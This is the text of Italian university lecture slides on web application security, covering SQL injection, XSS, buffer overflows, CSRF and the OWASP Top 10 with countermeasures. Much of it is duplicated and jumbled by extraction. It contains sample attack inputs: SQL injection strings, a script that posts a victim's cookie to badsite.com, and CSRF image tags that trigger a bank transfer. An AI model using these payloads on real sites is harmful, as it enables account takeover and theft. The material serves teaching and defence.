Problemi di sicurezza nello sviluppo di applicazioni web
Transcript
Problemi di sicurezza nello sviluppo di applicazioni web
nello sviluppo di applicazioni web
Antonio Lioy
< lioy @di
polito.it
>
Problemi
sicurezza
nello sviluppo di applicazioni web
Politecnico di Torino
Dip. Automatica
Informatica
Antonio eLioy
< lioy @ polito.it >
Politecnico di Torino
Dip. Automatica e Informatica
Agenda
attacchi ai servizi web (e contromisure)
phishing, pharming, spoofing, flooding
lle applicazioni web
già visti in altra parte del corso …
Agenda
XSS, buffer overflow,
command / SQL injection
gestione delle sessioni
attacchi ai servizi web (e contromisure)
uso dei parametri, validazione dell’input
phishing, pharming, spoofing, flooding
OWASP e top 10 risks
lle applicazioni web
già visti
in altra parte
del corso …
Problemi
di sicurezza
nello
XSS, buffer
overflow,
/ SQL injection
sviluppo
di command
applicazioni
web
gestione delle sessioni
esecuzione di query arbitrarie sul DB del server
uso dei parametri, validazione dell’input
SQL injection
OWASP e top 10 risks
accesso ai dati conservati nei cookie
Mai fidarsi del client!
(web app sec - gen'13)
Problemi di sicurezza
cross-site scripting
nello
sviluppo di applicazioni web
accesso a dati riservati (es. dati personali)
esecuzione di query arbitrarie sul DB del server
gestione delle sessioni (stato)
ioy - PolitecnicodiSQL
Torinoinjection
(2009-2013)
esecuzione di codice arbitrario sul server (ed a
volte
accesso
ai dati
nei cookie
anche
sul conservati
client)
cross-site
scripting
buffer overflow
accesso a dati riservati (es. dati personali)
gestione delle sessioni (stato)
ioy - Politecnico di Torino (2009-2013)
esecuzione di codice arbitrario sul server (ed a
volte anche sul client)
buffer overflow
(web app sec - gen'13)
controllare il client è impossibile!
anche in una Intranet
anche per applicazioni protette da un firewall
fidarsi del client!
in ogni tipoMai
di applicazione
mai fidarsi del codice eseguito sul client
controllare
il client è impossibile!
assumere sempre che i dati passati al client
possano
anche in essere
una Intranet
manipolati in modo
improprio/inatteso
anche per applicazioni protette da un firewall
la
deve
essere server-based
in sicurezza
ogni tipo di
applicazione
mai fidarsi del codice eseguito sul client
assumere sempre che i dati passati al client
possano essere manipolati in modo
1
1
dati anonimi
dati che possono essere manipolati o falsificati
i dati!
come validare Validare
i dati
“check that it looks good” (whitelist)
validare
sempre i dati di provenienza non fidata
“don’t match that it looks bad” (blacklist)
dati anonimi
dati non validati / ripuliti
dati che possono essere manipolati o falsificati
… sono la sorgente di moltissimi attacchi
come validare i dati
“check that it looks good” (whitelist)
“don’t match that it looks bad” (blacklist)
dati non validati / ripuliti
… sono la sorgente di moltissimi attacchi
SQL injection
fornire un input artefatto per alterare il codice SQL
generato dinamicamente da un server:
lle applicazioniweb
(web app sec - gen'13)
per modificare le condizioni di una query
per selezionare
dati injection
fuori dalla tabella che si sta
SQL
usando (es. inserendo una UNION con la vista
DBA_USERS )
fornire un input artefatto per alterare il codice SQL
usato
perdinamicamente
vari scopi ma spesso
per rubare le
generato
da un server:
credenziali
di
autenticazione
di
un
utente
lle applicazioniweb
(web app sec - gen'13)
per modificare le condizioni di una query
richiede una qualche
forma
di “social
engineering”
Esempio
JSP
n.
1
per selezionare dati fuori dalla tabella che si sta
usando (es. inserendo una UNION con la vista
DBA_USERS )
String sql = new String(
usato per vari scopi ma spesso per rubare le
"SELECT * FROM WebUsers WHERE Username=’"
credenziali
di autenticazione di un utente
+ request.getParameter("username")
richiede
unaPassword=’"
qualche
forma
di “social
+ "’ AND
Esempio
JSP
n. 1 engineering”
+ request.getParameter("password") + "’"
)
stmt = Conn.prepareStatement(sql)
String sql = new String(
ioy - Politecnico
di Torino
(2009-2013)
rows
= stmt.executeQuery()
"SELECT * FROM WebUsers WHERE Username=’"
le righe vengono inviate al browser ...
+ request.getParameter("username")
+ "’ AND Password=’"
+ request.getParameter("password") + "’"
)
stmt = Conn.prepareStatement(sql)
ioy - Politecnico
di Torino
(2009-2013)
rows
= stmt.executeQuery()
le righe vengono inviate al browser ...
Esempio JSP n. 1: utente normale
Username = Antonio
Password = 1234
JSP
Esempio JSP n. 1: utente normale
sql = SELECT * FROM WebUsers
WHERE
Username=’Antonio’ AND Password=’1234’
Username
= Antonio
Password = 1234
JSP
l’utente si collega
al DB
solo se la coppia
user & pwd è corretta
sql = SELECT * FROM WebUsers
WHERE Username=’Antonio’ AND Password=’1234’
3
3
Password = 1234’ OR ‘x’=‘x
JSP
Esempio JSP n. 1: utente maligno
sql = SELECT * FROM WebUsers
Username = AntonioWHERE Username=’Antonio’
AND‘x’=‘x
Password=’1234’ OR ‘x’=‘x’
Password = 1234’ OR
JSP
l’attaccante si collega al DB
senza conoscere user & pwd!!!
sql = SELECT * FROM WebUsers
WHERE Username=’Antonio’
AND Password=’1234’ OR ‘x’=‘x’
l’attaccante si collega al DB
senza conoscere user & pwd!!!
Esempio JSP n. 2
String sql = new String(
"SELECT * FROM product WHERE ProductName=’"
lle applicazioni web
+ request.getParameter("product_name")
+ "’"
)
stmt = Conn.prepareStatement(sql)
rows = stmt.executeQuery()
String sql = new String(
le righe vengono inviate al browser ...
"SELECT * FROM product WHERE ProductName=’"
lle applicazioni web
+ request.getParameter("product_name")
+ "’"
)
stmt = Conn.prepareStatement(sql)
product_name
= DVD player
rows = stmt.executeQuery()
JSP ...
le righe vengono inviate al browser
(web app sec - gen'13)
Esempio JSP n. 2
(web app sec - gen'13)
Esempio JSP n. 2: utente normale
Esempio JSP n. 2: utente normale
sql = SELECT * FROM product
WHERE ProductName=’DVD player’
product_name = DVD player
ioy - Politecnico di Torino (2009-2013)
JSP
l’utente ottiene i dati
relativi al prodotto
selezionato
5
sql = SELECT * FROM product
WHERE ProductName=’DVD player’
ioy - Politecnico di Torino (2009-2013)
5
l’utente ottiene i dati
relativi al prodotto
selezionato
Esempio JSP n. 2: utente maligno
product_name = xyz’ UNION
SELECT username, password
FROM dba_users WHERE ‘x’ = ‘x
JSP
Esempio JSP n. 2: utente maligno
sql = SELECT * FROM product
WHERE ProductName=’xyz’
product_name = xyz’ UNION
UNION
SELECT username, password
JSP
username,
password
FROM dba_users WHERE SELECT
‘x’ = ‘x
FROM dba_users WHERE ‘x’ = ‘x’
ottiene
tutte
sql l’attaccante
= SELECT * FROM
product
le ProductName=’xyz’
coppie user & pwd !!!
WHERE
UNION
SELECT username, password
comunque generate (CGI, PHP, ASP, JSP, ...)
validare l’input dell’utente, trasformando gli apici
singoli in sequenze di due apici
SQL injection: come evitarlo
suggerire agli sviluppatori di usare le query
parametrizzate per introdurre i valori delle variabili
revisionare
tutti glipiuttosto
script e leche
pagine
dinamiche,
fornite dall’utente,
generare
codice
comunque
generate
(CGI,
PHP,
ASP,
JSP,
SQL tramite concatenazione di stringhe ...)
validare
l’input dell’utente,
trasformando
apici
usare i software
di testing per
verificare laglipropria
singoli
in
sequenze
di
due
apici
vulnerabilità a questo tipo di attacco
suggerire agli sviluppatori di usare le query
parametrizzate per introdurre i valori delle variabili
fornite dall’utente, piuttosto che generare codice
SQL tramite concatenazione di stringhe
usare i software di testing per verificare la propria
vulnerabilità a questo tipo di attacco
SQL injection: dove può capitare?
non solo nelle query dinamiche generate da input
ricevuto dal web ...
lle applicazioni
webanche in:
(web app sec - gen'13)
ma
SQL
Java Servlets
injection: dove può capitare?
Java Stored Procedures
non
solo
nelle query
dinamiche
generate da input
web
services
(SOAP,
…)
ricevuto dal web ...
lle applicazioni
webanche in:
(web app sec - gen'13)
ma
Cross-site
scripting
Java Servlets
Java Stored Procedures
anche noto come XSS (talvolta anche CSS)
web services (SOAP, …)
usato per vari scopi ma spesso per rubare le
credenziali di autenticazione di un utente
richiede unaCross-site
qualche forma
di “social engineering”
scripting
grande varietà di meccanismi
anchecompreso
noto comedagli
XSSsviluppatori
(talvolta anche
CSS)
poco
applicativi
data
la scopi
complessità
delleper
attuali
ioy - Politecnico
di Torino
(2009-2013)
7
(anche
usato
per
vari
ma spesso
rubare le
applicazioni
credenziali diweb)
autenticazione di un utente
comune
quantoforma
si pensi
più
richiede
unadi
qualche
di “social engineering”
grande varietà di meccanismi
poco compreso dagli sviluppatori applicativi
(anche
data
la complessità delle attuali
ioy - Politecnico
di Torino
(2009-2013)
7
applicazioni web)
più comune di quanto si pensi
XSS: come funziona?
l’attaccante identifica un sito web che non filtra i
tag HTML quando accetta input da un utente
può inserire codice HTML e/o script arbitrari in un
link o una pagina
es. attaccante
registra
un oggetto su Ebay ed
XSS: come
funziona?
incorpora lo script nella sua descrizione
l’attaccante identifica un sito web che non filtra i
es. attaccante
mandainput
scriptda
in un
unautente
e-mail HTML
tag HTML
quando accetta
serve
ad
evitarecodice
la “Same-Origin
Policy”
può
inserire
HTML e/o script
arbitrari in un
o una permettono
pagina
ilink
browser
agli script del sito X di
accedere
solo ai cookie
e dati
provenienti
dal sito
es. attaccante
registra
un oggetto
su Ebay
ed X
incorpora
lo script
nella sua
es. si
fa eseguire
alla vittima
unodescrizione
script per far
inviare
i suoi cookie
(relativi
al sito
delloe-mail
script)HTML
al
es. attaccante
manda
script
in una
sito web dell’attaccante
serve ad evitare la “Same-Origin Policy”
<a href=http://www.sitoattaccabile.it/welcome.asp?name=
<FORM action=http://www.badsite.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
Il cookie di questo dominio ...
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
<a</SCRIPT>
href=http://www.sitoattaccabile.it/welcome.asp?name=
>
<FORMqui!
action=http://www.badsite.com/data.asp
clicca
method=post id="idForm">
</a>
<INPUT name="cookie" type="hidden">
</FORM>
... è inviato a questo sito
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
clicca qui!
</a>
Cosa succede con questo script?
... è inviato a questo sito
Sequence diagram
lle applicazioni web
(web app sec - gen'13)
Sequence diagram
lle applicazioni web
(web app sec - gen'13)
ioy - Politecnico di Torino (2009-2013)
Persistent XSS
l’attaccante usa un browser per inviare dati
(es. tramite un form)
… che vengono memorizzati sul server (es. DBMS,
file-system)
Persistent XSS
… e poi inviati o resi disponibili ad altri utenti
l’attaccante usa un browser per inviare dati
(es. tramitei un
problema:
datiform)
contengono tag HTML
(eventualmente
<script>)
modificano
il
… che vengono anche
memorizzati
sul che
server
(es. DBMS,
contenuto
file-system)della pagina
… e poi inviati o resi disponibili ad altri utenti
esempio: post di un commento che contiene uno
script per fare redirect verso un altro sito
problema: i dati contengono tag HTML
fonte: Alex Liu
lo script può essere
lasciato in chiaro
offuscato (es. codifica esadecimale della stringa
http://host/a.cgi?variable=%22%3E%3C…)
XSS: come può essere sfruttato?
generato al volo (es. tramite un’altro script)
lo script
puòdentro
essere
nascosto
un messaggio di errore
ioy - Politecnico
Torino (2009-2013)
dilasciato
in chiaro
offuscato (es. codifica esadecimale della stringa
http://host/a.cgi?variable=%22%3E%3C…)
generato al volo (es. tramite un’altro script)
nascosto dentro un messaggio di errore
fonte: Alex Liu
XSS: come può essere sfruttato?
9
9
Esempio di Persistent XSS
… scenari complessi
nel 2008 una vulnerabilità di tipo persistent XSS su
MySpace
lle applicazioni
(web app sec - gen'13)
...web
unita ad un worm
... diffuso tramite
un filmato
QuickTime
… scenari
complessi
… ha permesso l’esecuzione di codice JSP
arbitrario
nel 2008 una vulnerabilità di tipo persistent XSS su
MySpace
usato per rubare le credenziali (phishing)
lle applicazioni
(web app sec - gen'13)
...web
unita
ad un del
worm
ed il listing
contenuto del filesystem
Non-persistent
XSS
(reflected
XSS)
... diffuso tramite un filmato QuickTime
http://www.f-secure.com/v-descs/js_quickspace_a.shtml
… ha permesso l’esecuzione di codice JSP
l’attaccante
arbitrario invia i dati tramite un browser
(es. tramite un form)
usato per rubare le credenziali (phishing)
… che vengono direttamente usati
ed il listing del contenuto del filesystem
dall'applicazione
lato server (es. in una query SQL)
Non-persistent
XSS (reflected XSS)
per
generare la risposta
http://www.f-secure.com/v-descs/js_quickspace_a.shtml
l’attaccante invia i dati tramite un browser
problema: input inatteso all'applicazione che
svolge un'operazione imprevista
… che vengono direttamente usati
dall'applicazione lato server (es. in una query SQL)
per generare
risposta
esempio:
SQLlainjection
(es.
tramite
un form)
ioy - Politecnico
di Torino
(2009-2013)
problema: input inatteso all'applicazione che
svolge un'operazione imprevista
esempio: SQL injection
ioy - Politecnico di Torino (2009-2013)
DOM XSS
l’attaccante invia i dati tramite un browser
(es. tramite un form)
… che vengono memorizzati o usati direttamente
dal server (es. in una query) per generare la
DOM XSS
risposta
l’attaccante invia i dati tramite un browser
problema:
datiform)
contengono tag che manipolano il
(es. tramitei un
DOM (eventualmente anche XmlHttpRequest) e
…
che vengono
memorizzati o usati
direttamente
provocano
un comportamento
inatteso
lato client
dal server (es. in una query) per generare la
risposta
problema: i dati contengono tag che manipolano il
DOM (eventualmente anche XmlHttpRequest) e
11
11
accettare input corretto
rifiutare (MAI cercare di correggere) input errato
XSS: con
contromisure
codificare l'output
le entità HTML (es. ")
non usare mai codici ASCII o UTF-8
validare
l'input
specificare
sempre la codifica dell'output (es. ISO
accettare
input
8859-1, UTF-8)
percorretto
evitare interpretazioni errate
rifiutare
(MAI cercare
di correggere) input errato
non
usare blacklist
ma whitelist
codificare
l'output una
concorretta
le entitàblacklist
HTML (es. ")
difficile scrivere
non usare mail'input
codici prima
ASCII di
o UTF-8
canonicalizzare
esaminarlo
specificare
sempre
la codifica dell'output (es. ISO evita errori
di interpretazione
8859-1, UTF-8) per evitare interpretazioni errate
non usare blacklist ma whitelist
difficile scrivere una corretta blacklist
canonicalizzare l'input prima di esaminarlo
evita errori di interpretazione
XSS: alcuni controlli base
usare librerie anti-XSS (es. .NET, PHP)
ripulire l’input ricevuto, filtrando i metacaratteri
lle applicazioni web
convertire qualunque testo salvato o letto
(web app sec - gen'13)
XSS: alcuni controlli base
Da ...
a ...
<
<
usare librerie anti-XSS (es. .NET, PHP)
>
>
ripulire l’input ricevuto,
filtrando
i metacaratteri
lle applicazioni web
#
#
convertire qualunque
testo
salvato o letto
fornire più dati del
)
)
< massimo
<atteso ...
per superare i limiti
memoria allocata ...
> della>
e far eseguire codice
arbitrario
#
#
(
Da ...
(web app sec - gen'13)
Buffer
overflow
&
&
(
a ...
Buffer
overflow
&
&
(
(
buffer overflow, integer
overflow
ed errori nelle
fornire più
del
atteso ...
stringhe
di dati
formato
) massimo
)
ioy - Politecnico
Torino (2009-2013)
per
superare
i limiti
della memoria
diimportanti
per
programmi
scritti in allocata
C / C++ ...
efar
eseguire
codice arbitrario
quali
le applicazioni
custom …
o i server web …
buffer overflow, integer overflow ed errori nelle
stringhe di formato
ioy - Politecnico
Torino (2009-2013)
diimportanti
per programmi scritti in C / C++
quali le applicazioni custom …
o i server web …
Come funziona lo stack?
ad ogni chiamata di procedura/funzione:
si salva nello stack l’indirizzo di ritorno
si allocano sullo stack le variabili necessarie alla
funzione
Come funziona lo stack?
ad ogni chiamata di procedura/funzione:
0x4568 0x0123
return address
si salva nello stack l’indirizzo di ritorno
0x4569
\0
si allocano sullo stack le variabili necessarie alla
0x456A
variabili locali
funzione s
0x4567
. . .
0x456B
0x4567
0x456C
y
. s
. .
0x0123
0x4568
(es. char username[4] = “sys”;)
return address
13
13
char query[100] =
"SELECT * FROM product WHERE ProductName=‘";
strcat (query, prod_name);
strcat (query, "’");
// now exec query
void BO_example (char *prod_name)
...
{
}
char
=
Se query[100]
prod_name contiene
più di 100-43=57 byte si ha
"SELECT * FROM product WHERE ProductName=‘";
un buffer overflow:
strcat (query, prod_name);
- la query
viene"’");
eseguita correttamente ...
strcat
(query,
// -now
exec
query della funzione si esegue il codice
... ma
al termine
...macchina contenuto dalla posizione 58 di prod_name
}
Buffer overflow: esempio
Se prod_name contiene più di 100-43=57 byte si ha
un buffer overflow:
- la query viene eseguita correttamente ...
- ... ma al termine della funzione si esegue il codice
macchina contenuto dalla posizione 58 di prod_name
Buffer overflow: contromisure
buona programmazione:
non usare strcpy, strcat, ... ma strncpy, strncat, ...
lle applicazioni web
(web app sec - gen'13)
usare sistemi automatici di protezione:
Buffer iloverflow:
contromisure
modificare
compilatore per
proteggere l’indirizzo
di ritorno con “canarini” (es. StackGuard)
buona
programmazione:
configurare
lo stack come “no exec” (default in
Solaris
9,
configurabile
2.6) strncat, ...
non usare strcpy, strcat,da
...Solaris
ma strncpy,
lle applicazioniweb
attenzione!
nuovi metodididiprotezione:
attacco sono in grado di(web app sec - gen'13)
usare
sistemi automatici
OWASP
top
10
web
risks
(2010)
aggirare queste protezioni (es.
usando
le DLL di
modificare il compilatore per proteggere l’indirizzo
Windows o le shared-lib di Solaris) ... meglio
di
ritornobene
con “canarini”
(es. StackGuard)
scrivere
il codice
:-)
Open Web
Application
Security
Project (owasp.org)
configurare lo stack come “no exec” (default in
esaminare i log per cercare tentativi di attacco
Solaris 9, configurabile da Solaris 2.6)
A1: Injection
nuovi metodi
di attacco sono in grado di
A2:attenzione!
Cross-Site Scripting
(XSS)
OWASP
top
10
web
risks
(2010)
aggirare
queste
protezioni
(es.
usando
le DLL di
A3: Broken Authentication and Session Management
Windows o le shared-lib di Solaris) ... meglio
A4:scrivere
Insecurebene
Direct
Object :-)
References
il codice
Open
Application
A5:Web
Cross-Site
RequestSecurity
Forgery Project
(CSRF) (owasp.org)
esaminare
i log per cercare tentativi di attacco
ioy - Politecnico
di
Torino
(2009-2013)
15
A6: Security Misconfiguration
A1: Injection
A7: Insecure Cryptographic Storage
A2: Cross-Site Scripting (XSS)
A8: Failure to Restrict URL Access
A3: Broken Authentication and Session Management
A9: Insufficient Transport Layer Protection
A4: Insecure Direct Object References
A10: Unvalidated Redirects and Forwards
A5: Cross-Site Request Forgery (CSRF)
ioy - Politecnico
di Security
Torino (2009-2013)
15
A6:
Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
A1. Injection
SQL injection è il problema più famoso
… ma sono anche possibili attacchi con LDAP,
XPath, XSLT, HTML, XML, OS command
A1. Injection
problema: input inatteso eseguito da un interprete
SQL injection è il problema più famoso
… ma sono anche possibili attacchi con LDAP,
soluzioni:
XPath,
XSLT, HTML, XML, OS command
evitare gli interpreti
usare comandi a struttura fissa, usando l'input
problema:
input
da un interprete
dell'utente
soloinatteso
come uneseguito
parametro
soluzioni:
farli in maniera corretta è molto difficile
difetti in aree
quali il log-out, gestione
pasword,
A3. Broken
authentication
/ session
mgmt
timeout, “ricordami su questo computer”,
l’aggiornamento dell’account
schemi non standard di autenticazione
es. esposizione
delle password o degli account,
contengono
spesso errori
identificativi della sessione
farli in maniera corretta è molto difficile
permettono di ottenere i privilegi della vittima
difetti in aree quali il log-out, gestione pasword,
timeout,
e spesso“ricordami
di controllare
molte altre
sessioni
su questo
computer”,
l’aggiornamento
dell’account
difficili
da individuare
es.
esposizione
tanti
metodi
diversi delle password o degli account,
identificativi della sessione
permettono di ottenere i privilegi della vittima
e spesso di controllare molte altre sessioni
difficili da individuare
tanti metodi diversi
A3 - scenari
applicativo prenotazione usa session ID nella URL
http://travel.com/sale/saleitems;jsessionid=2P0OC
lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii (web app sec - gen'13)
se un utente condivide
il link…
A3 - scenari
…gli amici usano la sua carta di credito
applicativo
prenotazione
usa session ID nella URL
“logout”
o chiudere
il browser?
http://travel.com/sale/saleitems;jsessionid=2P0OC
l’utente
successivo su un computer pubblico
lle applicazioni web2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
(web app sec - gen'13)
eredita tutte le informazioni di stato
Esempi
di
errori
nel
mantenere
lo
stato
se un utente condivide il link…
…gli amici usano la sua carta di credito
in campi HIDDEN:
“logout” o chiudere il browser?
<input
l’utente successivo su un computer pubblico
type="hidden" name="speaker_id" value= "123">
eredita tutte le informazioni di stato
Esempi
nei cookiedi errori nel mantenere lo stato
trasmessi su canali non sicuri
in campi
HIDDEN:
manipolabili
sul client
ioy - Politecnico
di
Torino
(2009-2013)
17
<input
nelle URL
type="hidden"
name="speaker_id"
value=
"123">
<a href="addSpeaker.cfm?speaker_id=123"</a>
nei cookie
in tutti i casi è facile cambiare il valore di
trasmessi(es.
su canali
sicuri accedere ai dati di
speaker_id
a 124)non
e quindi
qualcun
altro
manipolabili sul client
ioy - Politecnico
di Torino
(2009-2013)
17
nelle
URL
<a href="addSpeaker.cfm?speaker_id=123"</a>
in tutti i casi è facile cambiare il valore di
speaker_id (es. a 124) e quindi accedere ai dati di
qualcun altro
Come mantenere lo stato?
molte applicazioni (soprattutto quelle web-based)
devono mantenere uno stato lato client
regola generale:
mai dare
al client
niente altro lo
chestato?
un session ID
Come
mantenere
(i dati della sessione devono stare sul server)
in
Java,
usare l’oggetto
Session:
molte
applicazioni
(soprattutto
quelle web-based)
devono
mantenere
uno stato lato client
HttpSession
session=request.getSession(
);
regola
generale:
Java session ID trasmesso tramite cookie o URL
mai
dare alIDclient
niente
altro che (veramente
un session ID
il
Session
di Java
è resistente
(i dati della
sessione devono
staresolo
sul server)
random,
impredicibile,
attaccabile
con forza
bruta)
in Java, usare l’oggetto Session:
HttpSession session=request.getSession( );
un oggetto reale (es. chiave di DB, file)
… il client può cambiare tale riferimento per
cercare di accedere ad un diverso oggetto
A4. Insecure direct object references
es.
nel 2000 il server
dell'ufficio
Australiano
se l'applicazione
usa web
direttamente
come
parametro
delle
tasse usava
nella
URL il
fiscale
un oggetto
reale (es.
chiave
dicodice
DB, file)
dell'utente … così un utente ha raccolto i dati
…
il client
può17.000
cambiare
tale riferimento per
fiscali
di altri
utenti
cercare di accedere ad un diverso oggetto
soluzione: non esporre mai nell'interfaccia
es.
nel 2000 ili server
web agli
dell'ufficio
direttamente
riferimenti
oggetti Australiano
applicativi
delle tasse usava nella URL il codice fiscale
dell'utente … così un utente ha raccolto i dati
fiscali di altri 17.000 utenti
soluzione: non esporre mai nell'interfaccia
direttamente i riferimenti agli oggetti applicativi
A4 - scenari
query SQL composta con input fornito dall’utente
String
lle applicazioni
web query =
(web app sec - gen'13)
"SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt =
connection.prepareStatement(query , ... );
pstmt.setString (1, request.getParameter("acct"));
query SQL composta con input fornito dall’utente
ResultSet results = pstmt.executeQuery( );
A4 - scenari
String
lle applicazioni
web query =
(web app sec - gen'13)
* FROM
accts WHERE
account
= ?";browser
"SELECT
cambiando
il parametro
‘acct’
dal proprio
A5. Cross-Site Request Forgery (CSRF)
PreparedStatement pstmt =
l’attaccante può accedere a qualsiasi altro account
connection.prepareStatement(query , ... );
http://example.com/app/accountInfo?acct=
invio al browser
tramite sito web "cattivo" o
pstmt.setString
(1,(es.
request.getParameter("acct"));
notMyAcct
mail
HTML)
di una
URL attiva per eseguire
ResultSet
results
= pstmt.executeQuery(
);
un'azione sul server bersaglio
esempio:
A5.
cambiando
il parametro
‘acct’Forgery
dal proprio
browser
Cross-Site
Request
(CSRF)
l’attaccante
può accedere a qualsiasi altro account
<img src="http://miabanca.it/do?azione=bonifico">
<img
src="http://example.com/app/transferFunds?
http://example.com/app/accountInfo?acct=
invio
al browser
(es. tramite sito web "cattivo" o
notMyAcct
amount=1500&destinationAccount=attackerAcct#"
mail
HTML)
di una URL attiva per eseguire
ioy - Politecnico di Torino (2009-2013)
width="0"
/>
un'azione
sulheight="0"
server bersaglio
molto
efficace
verso
quei
server web che usano
esempio:
autenticazione automatica (es. basata su cookie,
<img src="http://miabanca.it/do?azione=bonifico">
ticket
di Kerberos, user+pwd inviati
<img src="http://example.com/app/transferFunds?
automaticamente)
amount=1500&destinationAccount=attackerAcct#"
ioy - Politecnico di Torino (2009-2013)
width="0" height="0" />
molto efficace verso quei server web che usano
autenticazione automatica (es. basata su cookie,
ticket di Kerberos, user+pwd inviati
automaticamente)
A6. Security misconfiguration
accedere al sistema o raccogliere informazioni
riservate
usando credenziali di default, pagine non più
usate, vulnerabilità non risolte, file e cartelle non
A6. Security
misconfiguration
protetti,
ecc.
errori di configurazione possono presentarsi a
accedere
al sistema
raccogliere
informazioni
qualsiasi livello
delloostack
applicativo
riservate
piattaforma, web server, application server,
usando credenziali di default, pagine non più
framework e codice personalizzato
usate, vulnerabilità non risolte, file e cartelle non
collaborazione
protetti, ecc. con amministratori
assicurare
che l’intero possono
stack sia correttamente
errori
di configurazione
presentarsi a
configurato
anche
usando
scanner automatici
qualsiasi livello dello stack applicativo
piattaforma, web server, application server,
19
19
aggiornamento rilasciato
...ma le librerie non sono state aggiornate
A6 - scenari
account amministratore
creato automaticamente
con username e password standard
framework
vulnerabile con XSS
...ma non disabilitato
aggiornamento rilasciato
Directory Listing non disabilitato
...ma le librerie non sono state aggiornate
…attaccante scarica il codice sorgente ed identifica
account
amministratore
creato automaticamente
le vulnerabilità
più facilmente
con web
username
e password
standard
server
visualizza
lo stack
trace
...ma non disabilitato
…l’attaccante
ricava info dai messaggi d’errore
Directory Listing non disabilitato
…attaccante scarica il codice sorgente ed identifica
le vulnerabilità più facilmente
server web visualizza lo stack trace
…l’attaccante ricava info dai messaggi d’errore
A7. Insecure cryptographic storage
tipici problemi:
dati sensibili non cifrati
lle applicazioni web
(web app sec - gen'13)
uso di algoritmi "casalinghi"
A7.
cryptographic
storage
usoInsecure
errato di algoritmi
forti
uso di algoritmi notoriamente deboli (es. RC2-40)
tipici problemi:
chiavi memorizzate direttamente nell'applicazione
dati sensibili non cifrati
chiavi memorizzate in file non protetti
lle applicazioni web
(web app sec - gen'13)
uso di algoritmi "casalinghi"
A7
scenari
uso errato di algoritmi forti
uso di algoritmi notoriamente deboli (es. RC2-40)
cifro i dati delle carte di credito all’interno di un DB
chiavi memorizzate direttamente nell'applicazione
ma ci sono query che decifrano i dati
chiavi memorizzate in file non protetti
... ottengo dati in chiaro tramite SQL Injection
- scenari
no a query cheA7
decifrano
i dati!!!
backup su CD di alcuni dati sanitari ma la chiave è
inserita
cifro i dati
delle
cartebackup
di credito all’interno di un DB
sullo
stesso
ioy - Politecnicodima
Torino
(2009-2013)
ci
sono
query
che
mi tengo il supporto! decifrano i dati
...
ottengo
dati in senza
chiaro tramite
SQL Injection
DB
delle
password
salt
no a query/etc/passwd
che decifrano
i dati!!!
...avendo
brute
force termina in 4
settimane
backup su CD di alcuni dati sanitari ma la chiave è
inserita
sullo3000
stesso
backup
...anziché
anni
ioy - Politecnicodimi
Torino
(2009-2013)
tengo
il supporto!
DB delle password senza salt
...avendo /etc/passwd brute force termina in 4
settimane
...anziché 3000 anni
A8. Failure to restrict URL access
protezione di una URL semplicemente non
rendendola pubblica o non presentandola
nell'interfaccia
...security through obscurity
A8. Failure to restrict URL access
… ma non facendo nessun controllo reale di
autenticazione
protezione di una URL semplicemente non
…
oppure facendo
unocontrollo
client-side
rendendola
pubblica
non presentandola
nell'interfaccia
...security
through obscurity
problema:
protezione
facilmente superabile (es.
URL
presente
in
una
prima
versione ereale
poi rimossa)
… ma non facendo nessun controllo
di
autenticazione
… oppure facendo un controllo client-side
21
21
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
A8 - scenari
getappInfo è disponibile a tutti ma il link che
porta
a admin_getappInfo
richiama
una
supponendo
di avere le seguenti
pagine
procedura
di
autenticazione
http://example.com/app/getappInfo
...ma
la procedura di autenticazione non viene
http://example.com/app/admin_getappInfo
attivata se scrivo direttamente la URL nel browser
…devo solo indovinare il nome del file
getappInfo è disponibile a tutti ma il link che
porta a admin_getappInfo richiama una
procedura di autenticazione
...ma la procedura di autenticazione non viene
attivata se scrivo direttamente la URL nel browser
…devo solo indovinare il nome del file
A9. Insufficient transport layer protection
usare solo canali protetti:
per le sessioni autenticate verso i client
lle applicazioni web
(web app sec - gen'13)
per i collegamenti verso il back-end
A9.
Insufficient
layer protection
spesso
non vienetransport
fatto per un presunto
peggioramento delle prestazioni o per conflitti con
IDSsolo
/ IPScanali protetti:
gli
usare
spesso
SSL/TLS
usato:
per le
sessioni èautenticate
verso i client
lle applicazioniwebsolo durante la fase di autenticazione
(web app sec - gen'13)
per i collegamenti verso il back-end
A9
scenari
con certificati
scaduti
o non
spesso
non viene
fatto per
unconfigurati
presunto
correttamente
peggioramento delle prestazioni o per conflitti con
sito
che/ IPS
non protegge bene la pagina che richiede
gli IDS
autenticazione (SSL/TLS)
spesso SSL/TLS è usato:
l’attaccante intercetta il traffico di rete, cattura
solo durante la fase di autenticazione
cookie di sessione e impersona la vittima
A9 - scenari
con certificati scaduti
o non configurati
sito che utilizza certificato scaduto
correttamente
l’utente
è abituato
all’avvertimento
sito
che non
protegge
bene la pagina che richiede
autenticazione
(SSL/TLS)
accorge quando viene rediretto su un sito
ioy - Politecnicodinon
Torinosi(2009-2013)
23
e gliintercetta
comunicaille
sue credenziali
(phishing)
diverso
l’attaccante
traffico
di rete, cattura
cookie di sessione
e impersona
vittima
connessione
a DB tramite
oggettilaODBC/JDBC
sito
che le
utilizza
certificato
scaduto in chiaro!!!
tutte
comunicazioni
avvengono
l’utente è abituato all’avvertimento
accorge quando viene rediretto su un sito
ioy - Politecnicodinon
Torinosi(2009-2013)
23
diverso e gli comunica le sue credenziali (phishing)
connessione a DB tramite oggetti ODBC/JDBC
tutte le comunicazioni avvengono in chiaro!!!
A10. Unvalidated redirects and forwards
forzare la vittima ad usare un link con un redirect
non validato
il link appartiene a un sito valido quindi la vittima si
A10.fida
Unvalidated redirects and forwards
pagina bersaglio specificata in un parametro non
validato
forzare la vittima ad usare un link con un redirect
...permette
non
validato di scegliere arbitrariamente la pagina di
destinazione
il link appartiene a un sito valido quindi la vittima si
facile
fidada rilevare
si controllano
redirect
pagina
bersaglioi specificata
in un parametro non
validato
non così semplice se si usano i forward (uso
allo di
stesso
sito) arbitrariamente la pagina di
interno
...permette
scegliere
destinazione
l’attaccante crea un URL malevolo per installare
malware o per fare phishing
